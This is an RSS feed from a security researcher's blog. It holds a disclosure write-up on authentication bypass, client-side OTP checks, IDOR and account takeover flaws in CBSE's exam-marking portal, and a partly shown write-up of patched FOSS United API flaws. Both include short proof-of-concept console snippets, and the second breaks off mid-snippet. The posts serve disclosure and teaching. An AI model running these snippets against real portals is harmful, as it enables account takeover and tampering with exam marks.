<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>ni5arga's blog</title>
  <subtitle>Cybersecurity, programming, and tech writeups</subtitle>
  <link href="https://ni5arga.com/feed.xml" rel="self"/>
  <link href="https://ni5arga.com/"/>
  <updated>2026-05-22T00:00:00.000Z</updated>
  <id>https://ni5arga.com/</id>
  <author>
    <name>Nisarga</name>
  </author>
  <entry>
    <title>Exposing Critical Vulnerabilities in CBSE’s On-Screen Marking Portal: From Authentication Bypass to Full Account Takeover</title>
    <link href="https://ni5arga.com/blog/posts/hacking-cbse/"/>
    <updated>2026-05-22T00:00:00.000Z</updated>
    <id>https://ni5arga.com/blog/posts/hacking-cbse/</id>
    <content type="html"><![CDATA[
      <p>I first posted a rough write-up of these vulnerabilities to r/CBSE using a throwaway reddit account, but I figured a proper write-up on my own blog would be a better home for it. The tweet (X post) where this is being discussed can be found <a href="https://x.com/ni5arga/status/2057831536586850422">here</a>.</p>
<p>These vulnerabilities were initially discovered on 25 February 2026 and were promptly reported to CERT-In.</p>
<h3 id="what-is-cbse-and-on-screen-marking%3F" tabindex="-1">What is CBSE and On-Screen Marking?</h3>
<p>The Central Board of Secondary Education (CBSE) is one of the largest national education boards in India. It operates under the Government of India and runs major examinations like the Class 10 and Class 12 board exams for millions of students every year.</p>
<p>CBSE is affiliated with over 28,000 schools in India and several hundred more abroad, which makes it one of the most influential educational bodies in the country. Every year, millions of answer sheets are evaluated by thousands of teachers and examiners as part of the board exam process.</p>
<p>To streamline all of that, CBSE has started moving to a digital On-Screen Marking (OSM) system for the Class 12 board exams (<a href="https://www.cbse.gov.in/cbsenew/documents/OSM_Class%20XII_09022026.pdf">circular</a>). Instead of checking physical answer sheets, examiners log into an online portal where scanned copies of answer scripts are assigned to them for evaluation.</p>
<p>Because this platform is used by huge numbers of evaluators and handles sensitive academic data, its security really matters. It seems like this platform is developed by Coempt EduTeck Pvt Ltd and this same OnMark platform is used by multiple boards &amp; other institutions.</p>
<p>While poking around, I found several critical vulnerabilities in the OSM portal that could lead to full account takeover of examiner accounts. Anyone exploiting these could also tamper with or disrupt the grading process, which directly threatens the integrity of the exam evaluations.</p>
<p>I reported all of this to CERT-In before publishing this blog.</p>
<p><img src="../../images/mail1.png" alt="mail1"></p>
<h3 id="finding-the-vulnerabilities" tabindex="-1">Finding the Vulnerabilities</h3>
<p>Some background on me first. I'm a hobbyist cybersecurity researcher and I just finished my Class 12 exams this year. I've done bug bounty and security work for fun before, so when CBSE rolled out OSM and I noticed the portal link was completely public, my curiosity got the better of me.</p>
<p>I opened the On-Screen Marking portal and started playing around with the HTTP requests and everything else I could see.</p>
<p>The login page asks for three things: a user ID, a school code, and a password, followed by an OTP step. Nothing about that screen looks unusual. The problems only showed up once I stopped looking at the page and started looking at the code behind it.</p>
<h3 id="reading-the-javascript-bundle" tabindex="-1">Reading the JavaScript Bundle</h3>
<p>Like most modern single-page apps, the portal is an Angular application that ships its entire frontend logic in one bundled, minified JavaScript file. The browser downloads this file and runs it locally to render every screen of the app.</p>
<p>That bundle is served publicly at:</p>
<pre><code>https://cbse.onmark.co.in/cbseevalweb/main.dc17c24606b3b008.js
</code></pre>
<p>Anyone can request it, logged in or not. So I pretty-printed it and started reading. What I found inside was horrible.</p>
<h3 id="vulnerability-1%3A-a-hardcoded-master-password" tabindex="-1">Vulnerability 1: A Hardcoded Master Password</h3>
<p>Sitting in plain text inside the frontend bundle was a <strong>hardcoded master password</strong>. Not a hash, not a token reference, but the literal password string, baked directly into the client-side JavaScript that gets shipped to every visitor's browser.</p>
<p>The logic around it was worse than the leak itself. When this master password was entered into the login form, the app <strong>automatically filled the OTP field and bypassed the normal authentication flow entirely</strong>. There was no second factor to clear and no server-side check to satisfy. Entering the magic string was enough.</p>
<p>To log in as a specific examiner, all an attacker needs is:</p>
<ol>
<li>A target's <strong>user ID</strong> and <strong>school code</strong>, both of which are publicly obtainable.</li>
<li>The <strong>master password</strong>, sitting in a JS file anyone can download.</li>
</ol>
<p>With those, I was able to log in as an examiner (bypassing the OTP/2FA flow totally) and reach the evaluation dashboard, where I could view and edit marks.</p>
<h3 id="vulnerability-2%3A-otp-validation-done-entirely-client-side" tabindex="-1">Vulnerability 2: OTP Validation Done Entirely Client-Side</h3>
<p>The OTP step turned out to be pure theatre. When you trigger authentication, <strong>the server sends the OTP back inside the auth response</strong>, and the JavaScript running in your browser compares what you typed against that value locally before letting you through.</p>
<p>Think about what that means. The secret you're supposed to prove you received is handed straight to your browser, and the browser grades its own test. Anyone watching the network tab can just read the OTP out of the response. And because the comparison happens in client-side code, you can skip the form altogether and simply tell the app the check passed.</p>
<p>A security control that runs on the attacker's machine isn't a control at all.</p>
<p><img src="../../images/cbse1.png" alt="cbse1"></p>
<h3 id="vulnerability-3%3A-no-route-guards%2C-so-the-whole-app-is-walk-in" tabindex="-1">Vulnerability 3: No Route Guards, So the Whole App Is Walk-In</h3>
<p>Even setting the login flow aside, the app's routing offered no protection. The entire Angular route configuration had <strong>zero <code>canActivate</code> guards</strong>. Routes like <code>/dashboard</code>, <code>/profile</code>, <code>/evalscriptsview</code>, <code>/heallscripts</code>, <code>/evaluatordetails</code>, and <code>/verificationdashboard</code> were all directly navigable.</p>
<p>The only thing standing between an anonymous visitor and an internal page was a default redirect to <code>/login</code>, and that's trivial to defeat. By seeding a few values into browser storage and navigating straight to a route, you land on any page you like:</p>
<pre class="language-js"><code class="language-js">localStorage<span class="token punctuation">.</span><span class="token function">setItem</span><span class="token punctuation">(</span><span class="token string">'jwtToken'</span><span class="token punctuation">,</span> <span class="token string">'dev-token-12345'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
sessionStorage<span class="token punctuation">.</span><span class="token function">setItem</span><span class="token punctuation">(</span><span class="token string">'role_id'</span><span class="token punctuation">,</span> <span class="token string">'23'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
sessionStorage<span class="token punctuation">.</span><span class="token function">setItem</span><span class="token punctuation">(</span><span class="token string">'ValType'</span><span class="token punctuation">,</span> <span class="token string">'Regular'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
sessionStorage<span class="token punctuation">.</span><span class="token function">setItem</span><span class="token punctuation">(</span><span class="token string">'eval'</span><span class="token punctuation">,</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
  <span class="token literal-property property">user_id</span><span class="token operator">:</span> <span class="token string">'DEV001'</span><span class="token punctuation">,</span>
  <span class="token literal-property property">role_id</span><span class="token operator">:</span> <span class="token string">'23'</span><span class="token punctuation">,</span>
  <span class="token literal-property property">mobile_no</span><span class="token operator">:</span> <span class="token string">'9999999999'</span><span class="token punctuation">,</span>
  <span class="token literal-property property">email</span><span class="token operator">:</span> <span class="token string">'dev@test.com'</span><span class="token punctuation">,</span>
  <span class="token literal-property property">jwtToken</span><span class="token operator">:</span> <span class="token string">'dev-token-12345'</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token comment">// Then navigate</span>
window<span class="token punctuation">.</span>location<span class="token punctuation">.</span>href <span class="token operator">=</span> <span class="token string">'/cbseevalweb/#/dashboard'</span><span class="token punctuation">;</span>
</code></pre>
<p>Paste that into the browser console and you're dropped onto the dashboard, having never authenticated against anything. The token is fake, the user is invented, and the app doesn't care.</p>
<h3 id="vulnerability-4%3A-changing-any-password-without-knowing-the-old-one" tabindex="-1">Vulnerability 4: Changing Any Password Without Knowing the Old One</h3>
<p>This is where the individual bugs start combining into a full account takeover.</p>
<p>The &quot;change password&quot; feature collects an old password from the user, like you'd expect. But when I inspected the actual request it sends, the <code>ChangePassword</code> API payload only contained:</p>
<pre class="language-json"><code class="language-json"><span class="token punctuation">{</span> <span class="token property">"ValuatorID"</span><span class="token operator">:</span> <span class="token string">"..."</span><span class="token punctuation">,</span> <span class="token property">"pin_NewPassword"</span><span class="token operator">:</span> <span class="token string">"..."</span> <span class="token punctuation">}</span>
</code></pre>
<p>The <code>oldpassword</code> variable exists in the component, it's just <strong>never included in the request that goes to the server</strong>. The current password is never verified. Whatever <code>ValuatorID</code> you put in the body gets its password reset to whatever you choose.</p>
<p>On its own that's bad. Combined with the next issue, it's catastrophic.</p>
<h3 id="vulnerability-5%3A-systemic-idor-across-the-entire-api" tabindex="-1">Vulnerability 5: Systemic IDOR Across the Entire API</h3>
<p>Almost every API call in the app identifies the acting user by reading <code>ValuatorID</code> / <code>user_id</code> straight out of <code>sessionStorage[&quot;eval&quot;]</code>, the same browser-storage object I showed editing above. The server trusts whatever ID the client sends instead of deriving it from the authenticated session.</p>
<p>That makes this an <strong>Insecure Direct Object Reference (IDOR) vulnerability at the architectural level</strong>. It's not one broken endpoint. Practically every POST request in the service is affected. Change the ID in storage and the app acts as that user for any operation it offers.</p>
<p>Stitching it all together:</p>
<ul>
<li>IDOR lets you act as <strong>any</strong> examiner by editing one value in your browser.</li>
<li>The <code>ChangePassword</code> API resets a password <strong>without checking the old one</strong>.</li>
<li>So you can set <code>ValuatorID</code> to any victim and reset their password to one you control. That's a complete account takeover, with no credentials and no insider access.</li>
</ul>
<p>From there, an attacker can log into the victim's account legitimately, view assigned answer scripts, and <strong>alter marks</strong>. At the scale of a national board exam, the integrity implications speak for themselves.</p>
<h3 id="putting-it-together" tabindex="-1">Putting It Together</h3>
<p>To summarize what these flaws allowed:</p>
<ul>
<li>Log in as any examiner using a master password leaked in the frontend.</li>
<li>Bypass OTP entirely, because validation happens in the browser.</li>
<li>Reach any internal page without authenticating at all.</li>
<li>Reset any examiner's password without knowing their current one.</li>
<li>Act as any user across the API thanks to systemic IDOR, and in doing so <strong>edit marks, change examiner details, and tamper with the evaluation process.</strong></li>
</ul>
<p>None of this required sophisticated exploitation. The hardest part was reading a JavaScript file and editing a couple of values in DevTools.</p>
<h3 id="responsible-disclosure" tabindex="-1">Responsible Disclosure</h3>
<p>I reported all of this to <strong>CERT-In</strong> (the Indian Computer Emergency Response Team) before writing anything publicly.</p>
<p>My first email laid out the master-password leak and the client-side OTP validation. They replied asking for more detail and a screen recording, so I sent a full walkthrough: the master-password auth bypass on video, the browser-console login bypass, and then the extra findings I'd uncovered since, namely the missing route guards, the password-change flaw, and the systemic IDOR.</p>
<p>Their response was a boilerplate acknowledgement:</p>
<blockquote>
<p>Dear Sir,</p>
<p>Thank you for reporting this incident to CERT-In. We have registered your complaint/incident under Ref: CERTIn-XXXXX. We are in process of taking appropriate action with the concerned authority.</p>
</blockquote>
<p><img src="../../images/mail2.png" alt="mail2"></p>
<p>After that, I followed up several times and never heard back. It's honestly funny that most of the vulnerabilities I reported went unpatched for a long time, when I'd have fixed them in an hour or two if they were mine to fix. The sheer incompetency of our authorities baffles me.</p>
<p>I held off on publishing for a while, mostly to give them a fair window to fix things. But these issues sat in a system handling the exam evaluations of millions of students, and that's exactly the kind of thing that deserves daylight once it's been responsibly reported.</p>
<h3 id="takeaways" tabindex="-1">Takeaways</h3>
<p>If there's one lesson here for anyone building software like this, it's that <strong>the client cannot be trusted, ever.</strong> Every one of these vulnerabilities traces back to the same root mistake: putting secrets and security decisions in code that runs on the user's machine.</p>
<ul>
<li>Secrets (passwords, OTPs, anything sensitive) belong on the server, never in a JavaScript bundle.</li>
<li>Authentication and authorization must be enforced server-side, on every request.</li>
<li>A user's identity should come from their authenticated session, not from a value they can edit in DevTools.</li>
<li>Sensitive operations like password changes must verify the requester's authority, and their current password.</li>
</ul>
<p>These aren't advanced defenses. They're the basics. For a platform entrusted with the integrity of national board examinations, the basics are the least we should expect.</p>
<h2 id="aftermath" tabindex="-1">Aftermath</h2>
<p>This section was written on May 27, about five days after this blog first went up. In that time, CBSE has publicly denied that any of these vulnerabilities ever existed. I want to lay out, in good faith, what's actually happened from my side, because the public record matters here.</p>
<p>To recap the timeline: every issue documented above was reported to CERT-In back in February, and they verified and acknowledged the findings. My complaint sits on file under Ref: <strong>CERTIn-16590126</strong>. I followed up multiple times after that and never got a substantive response. Three months passed, the Class 12 results were released, and the portal and its marking workflows were still in the same vulnerable state. That silence is what eventually pushed me to publish.</p>
<p>Once the story picked up in the press, CBSE issued a statement claiming the findings were false. There were two immediate problems with that statement. First, their initial release pointed to a domain that didn't actually exist; someone in my circle <a href="https://x.com/ni5arga/status/2059288530082517165">quietly registered it and pointed it at this very blog</a> before they retracted the tweet. Second, even taken at face value, their position doesn't hold up: if what I accessed was a test environment, how was I able to pull what was unmistakably <strong>production data</strong> out of it?</p>
<p>The receipts for that are public:</p>
<ul>
<li>A <a href="https://x.com/ni5arga/status/2059280940044800050">proof screenshot of the access itself</a>.</li>
<li><a href="https://x.com/ni5arga/status/2059284748686746013">CBSE's own official mails referencing the same URL</a> they later tried to distance themselves from.</li>
<li>A <a href="https://x.com/ni5arga/status/2059344391047889352">screen recording of the hardcoded master password being used to reach production data</a>.</li>
<li>An <a href="https://x.com/ni5arga/status/2059344460052623748">archive of the site and its source code as of 03/03/2026</a>, preserved before anything was changed.</li>
<li>Evidence that <a href="https://x.com/ni5arga/status/2059344651828834569">the vulnerabilities were still present in the March build of the site</a>, well after my reports.</li>
<li>The same <a href="https://x.com/ni5arga/status/2059344858465337369">master password sitting in the JS bundles of other <code>onmark</code> domains</a>, unpatched at the time of posting.</li>
<li>Findings from other researchers showing that <a href="https://x.com/ni5arga/status/2059522207643312598">every CBSE-related subdomain under <code>onmark</code> resolves to the same load balancer</a>. Test environments don't typically need a load balancer, and they certainly shouldn't share infrastructure with the &quot;prod&quot; they're supposedly separated from.</li>
</ul>
<p>On top of all that, three days ago, shortly before the site was taken down, I discovered an <a href="https://x.com/ni5arga/status/2058937997941514699"><strong>SQL injection</strong> vulnerability in the OSM portal</a> and reported it to CERT-In. The response so far has been a one-line &quot;thank you&quot; mail.</p>
<p>I want to be clear about my motive: this entire body of work was done in good faith, to flag a serious problem in a system that grades the futures of millions of students. The right response from an institution of CBSE's scale is to acknowledge, investigate, and fix, not to deny and deflect. I hope this pushes things in that direction.</p>
<h2 id="media-coverage" tabindex="-1">Media Coverage</h2>
<p>A lot of famous personalities and organizations like <a href="https://x.com/deedydas/status/2059131444346425354">Deedy Das</a>, <a href="https://x.com/satishacharya/status/2059224148845768781">Satish Acharya</a>, <a href="https://x.com/internetfreedom/status/2059267815690088454">Internet Freedom Foundation</a> tweeted about it &amp; this blog has been featured in news reports by multiple media outlets:</p>
<ul>
<li><a href="https://www.indiatoday.in/education-today/news/story/cbse-osm-portal-vulnerability-claims-surface-with-teens-detailed-blog-post-2917243-2026-05-26">India Today</a></li>
<li><a href="https://www.ndtv.com/education/cbse-osm-portal-had-critical-vulnerabilities-ethical-hacker-told-ndtv-he-alerted-board-months-earlier-11550090">NDTV</a></li>
<li><a href="https://timesofindia.indiatimes.com/education/news/cbse-faces-fresh-scrutiny-after-teen-researcher-alleges-critical-flaws-in-osm-portal-claims-class-12-marks-could-be-altered/articleshow/131330616.cms">Times of India</a></li>
<li><a href="https://www.thehindubusinessline.com/news/education/government-should-take-cybersecurity-more-seriously-says-ethical-hacker-on-cbse-osm-flaws/article71024371.ece">The Hindu BusinessLine</a></li>
<li><a href="https://theprint.in/feature/19-student-hacked-cbses-osm-portal-vulnerabilities/2942305/">ThePrint</a></li>
<li><a href="https://www.news18.com/viral/ex-google-engineer-calls-out-cbses-osm-portal-absolute-embarrassment-after-hacker-exposes-major-security-flaws-ws-l-10113830.html">News18</a></li>
<li><a href="https://www.moneycontrol.com/technology/big-blunder-how-a-cbse-student-uncovered-a-security-flaw-in-a-national-exam-portal-article-13932552.html">Moneycontrol</a></li>
<li><a href="https://internetfreedom.in/when-the-exam-itself-can-be-hacked-iff-writes-to-the-ministry-of-education-and-cert-in-on-the-cbse-on-screen-marking-disclosure/">IFF Blog</a></li>
<li><a href="https://www.medianama.com/2026/05/223-cert-in-vulnerabilities-cbse-online-marking-portal/">Medianama</a></li>
<li><a href="https://www.freepressjournal.in/education/fpj-exclusive-meet-nisarga-the-19-year-old-ethical-hacker-who-flagged-alleged-cbse-portal-issues-in-february-2026">Free Press Journal</a></li>
<li><a href="https://news.careers360.com/cbse-osm-portal-hacker-nisarga-adhikary-vulnerabilities-report-meaning-class-12-checking-result-onmark-co-in-cybersecurity">Careers360</a></li>
</ul>
<p>Thanks for reading.</p>

    ]]></content>
  </entry>
  <entry>
    <title>Finding Security Vulnerabilities in the FOSS United Platform</title>
    <link href="https://ni5arga.com/blog/posts/finding-vulnerabilities-in-fossunited/"/>
    <updated>2026-02-02T00:00:00.000Z</updated>
    <id>https://ni5arga.com/blog/posts/finding-vulnerabilities-in-fossunited/</id>
    <content type="html"><![CDATA[
      <p>Security issues appear as platforms grow but what matters is how they are discovered, shared and fixed. In January 2026, I came across a bunch of security vulnerabilities in the <a href="https://fossunited.org">FOSS United</a> platform. The platform being <a href="https://github.com/fossunited/fossunited">open source</a> made it much easier for me to find the vulnerabilities.</p>
<p>The findings were shared privately with the FOSS United team and the vulnerabilities were patched before publishing this writeup.</p>
<h2 id="the-findings" tabindex="-1">The Findings</h2>
<h3 id="idor-vulnerability-in-hackathons-project-page" tabindex="-1">IDOR Vulnerability in Hackathons Project Page</h3>
<p>The API endpoints responsible for adding PRs/Issues from a Hackathon Project do not enforce proper authorization checks. They accept a project ID as an argument and perform the action immediately without verifying if the currently logged-in user (<code>frappe.session.user</code>) is a member of the team that owns the project.</p>
<p>This allows any authenticated user to modify the PR/Issue list of any project if they know the Project ID (which is discoverable).</p>
<p>Affected Endpoint: <code>fossunited.api.hackathon.add_pr_issue_to_project</code></p>
<p>The function in question:</p>
<pre class="language-py"><code class="language-py"><span class="token decorator annotation punctuation">@frappe<span class="token punctuation">.</span>whitelist</span><span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token keyword">def</span> <span class="token function">add_pr_issue_to_project</span><span class="token punctuation">(</span>project<span class="token punctuation">:</span> <span class="token builtin">str</span><span class="token punctuation">,</span> details<span class="token punctuation">:</span> <span class="token builtin">dict</span><span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token boolean">None</span><span class="token punctuation">:</span>
    <span class="token keyword">if</span> <span class="token keyword">not</span> frappe<span class="token punctuation">.</span>db<span class="token punctuation">.</span>exists<span class="token punctuation">(</span>HACKATHON_PROJECT<span class="token punctuation">,</span> project<span class="token punctuation">)</span><span class="token punctuation">:</span>
        frappe<span class="token punctuation">.</span>throw<span class="token punctuation">(</span><span class="token string">"Project does not exist"</span><span class="token punctuation">)</span>

    issue_pr <span class="token operator">=</span> frappe<span class="token punctuation">.</span>get_doc<span class="token punctuation">(</span>
        <span class="token punctuation">{</span>
            <span class="token string">"doctype"</span><span class="token punctuation">:</span> <span class="token string">"Hackathon Project Issue PR"</span><span class="token punctuation">,</span>
            <span class="token string">"parent"</span><span class="token punctuation">:</span> project<span class="token punctuation">,</span>
            <span class="token string">"parenttype"</span><span class="token punctuation">:</span> HACKATHON_PROJECT<span class="token punctuation">,</span>
            <span class="token string">"parentfield"</span><span class="token punctuation">:</span> <span class="token string">"issue_pr_table"</span><span class="token punctuation">,</span>
            <span class="token string">"title"</span><span class="token punctuation">:</span> details<span class="token punctuation">[</span><span class="token string">"title"</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
            <span class="token string">"link"</span><span class="token punctuation">:</span> details<span class="token punctuation">[</span><span class="token string">"link"</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
            <span class="token string">"type"</span><span class="token punctuation">:</span> details<span class="token punctuation">[</span><span class="token string">"type"</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
        <span class="token punctuation">}</span>
    <span class="token punctuation">)</span>
    issue_pr<span class="token punctuation">.</span>insert<span class="token punctuation">(</span><span class="token punctuation">)</span>
</code></pre>
<p>The core issue is that there is no authorization check.</p>
<p>This endpoint never checks: who is calling it (i.e. <code>frappe.session.user</code>)</p>
<p>Whether the caller is:</p>
<ul>
<li>A member of the team</li>
<li>The project owner</li>
<li>Even part of the hackathon</li>
</ul>
<p>The only validation is:</p>
<pre class="language-py"><code class="language-py"><span class="token keyword">if</span> <span class="token keyword">not</span> frappe<span class="token punctuation">.</span>db<span class="token punctuation">.</span>exists<span class="token punctuation">(</span>HACKATHON_PROJECT<span class="token punctuation">,</span> project<span class="token punctuation">)</span><span class="token punctuation">:</span>
</code></pre>
<p>That means:</p>
<p>Any authenticated user can modify issue/PR list of any project if they know the project ID (which is easily discoverable).</p>
<p>PoC code:</p>
<pre class="language-js"><code class="language-js"><span class="token keyword">var</span> payload <span class="token operator">=</span> <span class="token punctuation">{</span>
  <span class="token literal-property property">project</span><span class="token operator">:</span> <span class="token string">"1pcdaioeqm"</span><span class="token punctuation">,</span> <span class="token comment">// Target Project ID</span>
  <span class="token literal-property property">details</span><span class="token operator">:</span> <span class="token punctuation">{</span>
    <span class="token literal-property property">title</span><span class="token operator">:</span> <span class="token string">"Security Test: IDOR PoC"</span><span class="token punctuation">,</span>
    <span class="token literal-property property">link</span><span class="token operator">:</span> <span class="token string">"https://github.com/fossunited/fossunited/pull/1"</span><span class="token punctuation">,</span>
    <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"Pull Request"</span><span class="token punctuation">,</span>
  <span class="token punctuation">}</span><span class="token punctuation">,</span>
<span class="token punctuation">}</span><span class="token punctuation">;</span>
<span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"/api/method/fossunited.api.hackathon.add_pr_issue_to_project"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span>
  <span class="token literal-property property">method</span><span class="token operator">:</span> <span class="token string">"POST"</span><span class="token punctuation">,</span>
  <span class="token literal-property property">headers</span><span class="token operator">:</span> <span class="token punctuation">{</span>
    <span class="token string-property property">"Content-Type"</span><span class="token operator">:</span> <span class="token string">"application/json"</span><span class="token punctuation">,</span>
    <span class="token string-property property">"X-Frappe-CSRF-Token"</span><span class="token operator">:</span> window<span class="token punctuation">.</span>csrf_token<span class="token punctuation">,</span>
  <span class="token punctuation">}</span><span class="token punctuation">,</span>
  <span class="token literal-property property">body</span><span class="token operator">:</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>payload<span class="token punctuation">)</span><span class="token punctuation">,</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span>
  <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">r</span><span class="token punctuation">)</span> <span class="token operator">=></span> r<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
  <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">r</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span>
    <span class="token keyword">if</span> <span class="token punctuation">(</span>r<span class="token punctuation">.</span>exc<span class="token punctuation">)</span> <span class="token punctuation">{</span>
      console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string">"Exploit Failed (or Error):"</span><span class="token punctuation">,</span> r<span class="token punctuation">.</span>exc<span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>
      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"IDOR Confirmed"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
      console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Response:"</span><span class="token punctuation">,</span> r<span class="token punctuation">)</span><span class="token punctuation">;</span>
    <span class="token punctuation">}</span>
  <span class="token punctuation">}</span><span class="token punctuation">)</span>
  <span class="token punctuation">.</span><span class="token function">catch</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">e</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">error</span><span class="token punctuation">(</span><span class="token string">"Fetch Error:"</span><span class="token punctuation">,</span> e<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
<h3 id="unauthorized-hackathon-registration-via-user-impersonation" tabindex="-1">Unauthorized Hackathon Registration via User Impersonation</h3>
<p>During my assessment, I found a broken access control vulnerability in the hackathon registration flow. The API endpoint responsible for creating hackathon participants allowed any authenticated user to register any other user for a hackathon without their knowledge or consent.</p>
<p>The endpoint trusted attacker-controlled identity fields and failed to verify that the authenticated session user (<code>frappe.session.user</code>) matched the user being registered.</p>
<p>Affected Endpoint: <code>fossunited.api.hackathon.create_participant</code></p>
<p>Vulnerable Function (Before Fix):</p>
<pre class="language-python"><code class="language-python"><span class="token decorator annotation punctuation">@frappe<span class="token punctuation">.</span>whitelist</span><span class="token punctuation">(</span>allow_guest<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>
<span class="token keyword">def</span> <span class="token function">create_participant</span><span class="token punctuation">(</span>hackathon<span class="token punctuation">,</span> participant<span class="token punctuation">)</span><span class="token punctuation">:</span>
    participant_doc <span class="token operator">=</span> frappe<span class="token punctuation">.</span>get_doc<span class="token punctuation">(</span>
        <span class="token punctuation">{</span>
            <span class="token string">"doctype"</span><span class="token punctuation">:</span> HACKATHON_PARTICIPANT<span class="token punctuation">,</span>
            <span class="token string">"hackathon"</span><span class="token punctuation">:</span> hackathon<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"data"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"name"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
            <span class="token string">"user"</span><span class="token punctuation">:</span> participant<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"user"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
            <span class="token string">"user_profile"</span><span class="token punctuation">:</span> participant<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"user_profile"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
            <span class="token string">"full_name"</span><span class="token punctuation">:</span> participant<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"full_name"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
            <span class="token string">"email"</span><span class="token punctuation">:</span> participant<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"email"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
            <span class="token string">"is_student"</span><span class="token punctuation">:</span> participant<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"is_student"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
            <span class="token string">"organization"</span><span class="token punctuation">:</span> participant<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"organization"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
            <span class="token string">"git_profile"</span><span class="token punctuation">:</span> participant<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string">"git_profile"</span><span class="token punctuation">)</span><span class="token punctuation">,</span>
        <span class="token punctuation">}</span>
    <span class="token punctuation">)</span>
    participant_doc<span class="token punctuation">.</span>insert<span class="token punctuation">(</span>ignore_permissions<span class="token operator">=</span><span class="token boolean">True</span><span class="token punctuation">)</span>
</code></pre>
<p>The core issue was trusting client-supplied identity data.</p>
<p>The endpoint never verified:</p>
<ul>
<li>That the caller was authenticated</li>
<li>That <code>participant.user</code> matched <code>frappe.session.user</code></li>
<li>That the caller was registering <em>themselves</em></li>
</ul>
<p>Because of this, the attacker could fully control:</p>
<ul>
<li><code>user</code></li>
<li><code>email</code></li>
<li><code>full_name</code></li>
<li><code>user_profile</code></li>
</ul>
<p>Additionally, the use of <code>ignore_permissions=True</code> bypassed all framework-level permission checks.</p>
<p>This allowed any authenticated user to register arbitrary email addresses for a hackathon &amp; silent user impersonation.</p>
<p>PoC Code:</p>
<p>The following request was executed from the browser console while logged in as an attacker:</p>
<pre class="language-javascript"><code class="language-javascript"><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">'/api/method/fossunited.api.hackathon.create_participant'</span><span class="token punctuation">,</span> <span class="token punctuation">{</span>
  <span class="token literal-property property">method</span><span class="token operator">:</span> <span class="token string">'POST'</span><span class="token punctuation">,</span>
  <span class="token literal-property property">headers</span><span class="token operator">:</span> <span class="token punctuation">{</span>
    <span class="token string-property property">'Content-Type'</span><span class="token operator">:</span> <span class="token string">'application/json'</span><span class="token punctuation">,</span>
    <span class="token string-property property">'X-Frappe-CSRF-Token'</span><span class="token operator">:</span> window<span class="token punctuation">.</span>csrf_token
  <span class="token punctuation">}</span><span class="token punctuation">,</span>
  <span class="token literal-property property">body</span><span class="token operator">:</span> <span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span><span class="token punctuation">{</span>
    <span class="token literal-property property">hackathon</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">data</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">'1hdcnkbtmk'</span> <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token punctuation">,</span>  
    <span class="token literal-property property">participant</span><span class="token operator">:</span> <span class="token punctuation">{</span>
      <span class="token literal-property property">user</span><span class="token operator">:</span> <span class="token string">'victim@example.com'</span><span class="token punctuation">,</span>
      <span class="token literal-property property">email</span><span class="token operator">:</span> <span class="token string">'victim@example.com'</span><span class="token punctuation">,</span>
      <span class="token literal-property property">full_name</span><span class="token operator">:</span> <span class="token string">'Fake Registration'</span><span class="token punctuation">,</span>
